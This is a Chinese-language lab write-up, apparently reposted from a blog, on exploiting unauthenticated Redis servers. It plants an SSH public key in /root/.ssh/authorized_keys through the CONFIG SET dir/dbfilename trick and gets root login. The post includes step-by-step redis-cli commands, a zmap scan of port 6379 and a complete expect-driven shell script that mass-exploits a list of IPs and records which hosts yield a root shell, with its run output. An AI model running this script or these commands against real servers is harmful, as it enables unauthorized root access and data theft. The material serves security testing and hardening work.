Redis漏洞验证

本文实验环境:centos7.3、redis3.2.8

文:铁乐与猫 2017-9-22

1、漏洞描述

Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中,

为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因,部分 Redis 绑定在 0.0.0.0:6379,

并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,

比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,

导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,

攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

2、漏洞分析与利用

首先在本地产生公私钥文件:

#ssh-keygen -t rsa

然后将公钥写入foo.txt文件:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

这里前后用上了echo -e "\n\n" 是表示\换行且光标移至行首;所以验证的时候用cat命令查看foo.txt文件可以看到正文内容头尾都有空两行出来。

作为测试,用虚拟机搭建一个redis安装后默认没有做任何防护暴露在外的服务器,连接上去后写入文件。

下图可以看到我用172.16.0.111这台虚拟机做为入侵的客户端测试,连接172.16.0.130那台redis服务器直接就连接上了,因为服务器直接暴露在外和没有设密码。

接着执行写入文件指令:

[root@jira .ssh]# cat foo.txt redis-cli -h 172.16.0.130 -x set crackit

OK

上面的命令-x set 表示从标准输入读入一个参数到redis,也就是将foo.txt里面的密钥输入到redis里面crackit这个新建的键值对里面了。

我们可以返回到redis服务器中验证一番:

上图可以看到,redis服务器新增了一个crackit键,键值内容也是入侵提前准备好的公钥内容。

然后在直接连接上redis服务端用config命令操作:

[root@jira .ssh]# redis-cli -h 172.16.0.130

172.16.0.130:6379> config set dir /root/.ssh/

(error) ERR unknown command 'config'

#出现这个错误代表redis服务端有做禁止config命令的配置,我们去redis服务端将配置中禁止那一段注释掉来还原模拟入侵这过程再来操作:

将上图的rename-command CONFIG 前面加#注释掉,模拟redis初始默认设置不安全,重启redis。

再次连接尝试:

[root@jira .ssh]# redis-cli -h 172.16.0.130

172.16.0.130:6379> config set dir /root/.ssh/

(error) ERR Changing directory: No such file or directory

172.16.0.130:6379>

#这次的错误明显与上次无法运行config命令不同,这次是说没有这个目录,看来dir命令还不能直接创建到root目录下,

那么我们再在redis服务器那通过ssh-keygen -t -rsa创建好.ssh目录,模拟现实中很有可能对方是密钥登录有这个目录的情况下:

172.16.0.130:6379> config set dir /root/.ssh/

OK

#入侵用的客户端表示config命令设置dir成功,这里也可以看出一旦redis服务用root运行的不安全和可怕性。

继续模拟入侵实验

172.16.0.130:6379> config get dir

1) "dir"

2) "/root/.ssh"

172.16.0.130:6379> config set dbfilename "authorized_keys"

OK

172.16.0.130:6379> save

OK

这里利用的是假如redis服务端没做好安全加固,默认ssh公钥认证文件依然是用户家目录下的authorized_keys (由此建议ssh加固里这个默认文件得改名),

然后redis就利用设置命令将db文件起个相同的名字,然后因为dir主目录已设置是用户家目录下的.ssh隐藏目录中,而db有前面已创建好的带公钥内容的键值。

无形中也就等于将公钥给通过认证了,接下来就可以黑进redis服务器了。(当然,这里还得有个前提条件是redis服务器开启了rsa认证模式)

ssh -i id_rsa root@172.16.0.130 远程利用自己的私钥登录redis服务器,如下图,入侵测试成功:

写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。

3、扫描工具

前面模拟的是手动敲命令的入侵,实际上入侵者除非特定目标指向攻击你,否则一般而言都是你存在有这个漏洞被扫描出来了再被人进行攻击的。

在要执行入侵工作的客户端上准备好安装

yum install redis expect zmap

其中,expect是用来处理交互的命令。借助Expect,可以将交互过程写在一个脚本上,使之自动化完成。形象的说,ssh登录,ftp登录等都符合交互的定义。

zmap则是美国密歇根大学研究者开发出一款工具。在第22届USENIX安全研讨会,以超过nmap 1300倍的扫描速度声名鹊起。相比大名鼎鼎的nmap全网扫描速度是他最大的亮点。在千兆网卡状态下,45分钟内扫描全网络IPv4地址。

git clone https://github.com/qingxp9/yyfexploit

#到github下载yyfexploit这个项目,里面有人写好了攻击脚本,又或者自己编辑一个也可以

cd yyfexploit/redis

# 扫描6379端口

# 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉

zmap -p 6379 172.16.0.0/22 -B 2M -o ip.txt

#-p 指定扫描端口,-B指的是使用带宽,-o为结果输出。我这边例子为扫描内网。

zmap -p 6379 172.16.0.0/22 -B 2M -o ip.txt -i eno16777984

还需要指定网卡,很快就可以看到扫描完内网了,收集到开放了6379端口的有:

[root@jira redis]# cat ip.txt

172.16.0.130

172.16.0.222

正好是我用来测试的两台,130是linux的,222是windows上的。

等一下执行的脚本只会对lInux生效。

执行脚本./redis.sh ip.txt

其redis.sh脚本内容如下:

#!/bin/sh

if [ $# -eq 1 ]

then

ip_list=$1

##create id_rsa

echo "****************************************Create id_rsa file"

expect -c "

spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"

expect {

\"*passphrase): \" {

exp_send \"\r\"

exp_continue

}

\"*again: \" {

exp_send \"\r\"

}

\"*y/n)? \" {

exp_send \"n\r\"

}

}

expect eof

"

echo "\n\n****************************************Attack Targets"

touch noauth.txt runasroot.txt rootshell.txt haveauth.txt

i=0

cat $ip_list while read ip

do

i=`expr $i + 1`;

#write id_rsa.pub to remote

echo "*****$***connect to remote $ redis "

expect -c "

set timeout 3

spawn redis-cli -h $ip config set dir /root/.ssh/

expect {

\"OK\" { exit 0 }

\"ERR Changing directory: Permission denied\" { exit 1 }

timeout { exit 2 }

\"(error) NOAUTH Authentication required\" { exit 3 }

}

"

case $? in

0) echo "run redis as root"

echo $ip >> noauth.txt

echo $ip >> runasroot.txt

;;

1) echo "not run redis as root\n\n\n"

echo $ip >> noauth.txt

continue

;;

2) echo "connect timeout\n\n\n"

continue

;;

3) echo "Have Auth\n\n\n"

echo $ip >> haveauth.txt

continue

;;

esac

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

cat foo.txt redis-cli -h $ip -x set 1

redis-cli -h $ip config set dir /root/.ssh/

redis-cli -h $ip config set dbfilename "authorized_keys"

redis-cli save

#login test

echo "#try to login"

expect -c "

set timeout 5

spawn ssh -i id_rsa root@$ip echo \"yyf\"

expect {

\"*yes/no\" { send \"yes\n\"}

\"*password\" { send \"\003\"; exit 1 }

\"yyf\" { exit 0 }

timeout { exit 2 }

}

exit 4

"

exitcode=$?

if [ $exitcode -eq 0 ]

then

echo "---------------$ is get root shell"

echo $ip >> rootshell.txt

fi

echo "\n\n\n"

done

echo "##########Final Count##########"

wc -l $ip_list

echo "----------"

wc -l noauth.txt

wc -l runasroot.txt

wc -l rootshell.txt

echo "----------"

wc -l haveauth.txt

else

echo "usage: ./redis.sh ip.txt"

fi

-------------------------------------------------------------------------

可以得知,脚本是通过之前安装的expect来做为自动交互去完成一系列操作的

[root@jira redis]# ./redis.sh ip.txt

****************************************Create id_rsa file

spawn ssh-keygen -t rsa -f id_rsa -C yyf

Generating public/private rsa key pair.

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in id_rsa.

Your public key has been saved in id_rsa.pub.

The key fingerprint is:

3a:32:5c:b1:0c:0b:1e:ad:40:49:b7:6e:e0:5e:34:f0 yyf

The key's randomart image is:

+--[ RSA 2048]----+

.+..

..+..

..oEo .

.o++.+ o

.o+. + S

. o. . .

. + o

o .

+-----------------+

\n\n****************************************Attack Targets

*****1***connect to remote 172.16.0.130 redis

spawn redis-cli -h 172.16.0.130 config set dir /root/.ssh/

OK

run redis as root

OK

OK

OK

Could not connect to Redis at 127.0.0.1:6379: Connection refused

#try to login

spawn ssh -i id_rsa root@172.16.0.130 echo yyf

yyf

---------------172.16.0.130 is get root shell

\n\n\n

*****2***connect to remote 172.16.0.222 redis

spawn redis-cli -h 172.16.0.222 config set dir /root/.ssh/

(error) ERR Changing directory: No such file or directory

run redis as root

OK

(error) ERR Changing directory: No such file or directory

OK

Could not connect to Redis at 127.0.0.1:6379: Connection refused

#try to login

spawn ssh -i id_rsa root@172.16.0.222 echo yyf

ssh: connect to host 172.16.0.222 port 22: Connection refused

\n\n\n

##########Final Count##########

2 ip.txt

----------

2 noauth.txt

2 runasroot.txt

1 rootshell.txt

----------

0 haveauth.txt

上面可对比出,130同样成功用脚本入侵了,而222则因为不存在Linux下的这些目录所以是不会成功的。

[root@jira redis]# ls

foo.txt haveauth.txt id_rsa id_rsa.pub ip.txt noauth.txt README.md redis.sh rootshell.txt runasroot.txt

最后,将会生成几个txt文件记录结果 其中: runasroot.txt 表示redis无认证,且以root运行; noauth.txt 表示redis无认证 ;rootshell.txt 里面是已写入公钥,可直接以证书登录root用户的服务器;foo.txt就是公钥文件内容;haveauth.txt里记录的是有认证的;

同样执行

[root@jira redis]# ssh -i id_rsa root@172.16.0.130

Last login: Thu Sep 21 17:51:26 2017 from 172.16.0.111

[root@Redis ~]#

可以看到入侵成功。

4、Redis未授权的其他危害与利用

a) 数据库数据泄露

Redis作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中有可能包含保存的用户信息等。

b) 代码执行

redis可以嵌套Lua脚本的特性将会导致代码执行,危害同其他服务器端的代码执行。一但攻击者能够在服务器端执行任意代码,攻击方式将会变得多且复杂,这是非常危险的。

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

c)敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。

参考链接:

https://ruby-china.org/topics/28094

http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180109G05POA00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

同媒体快讯

扫码关注云+社区

领取腾讯云代金券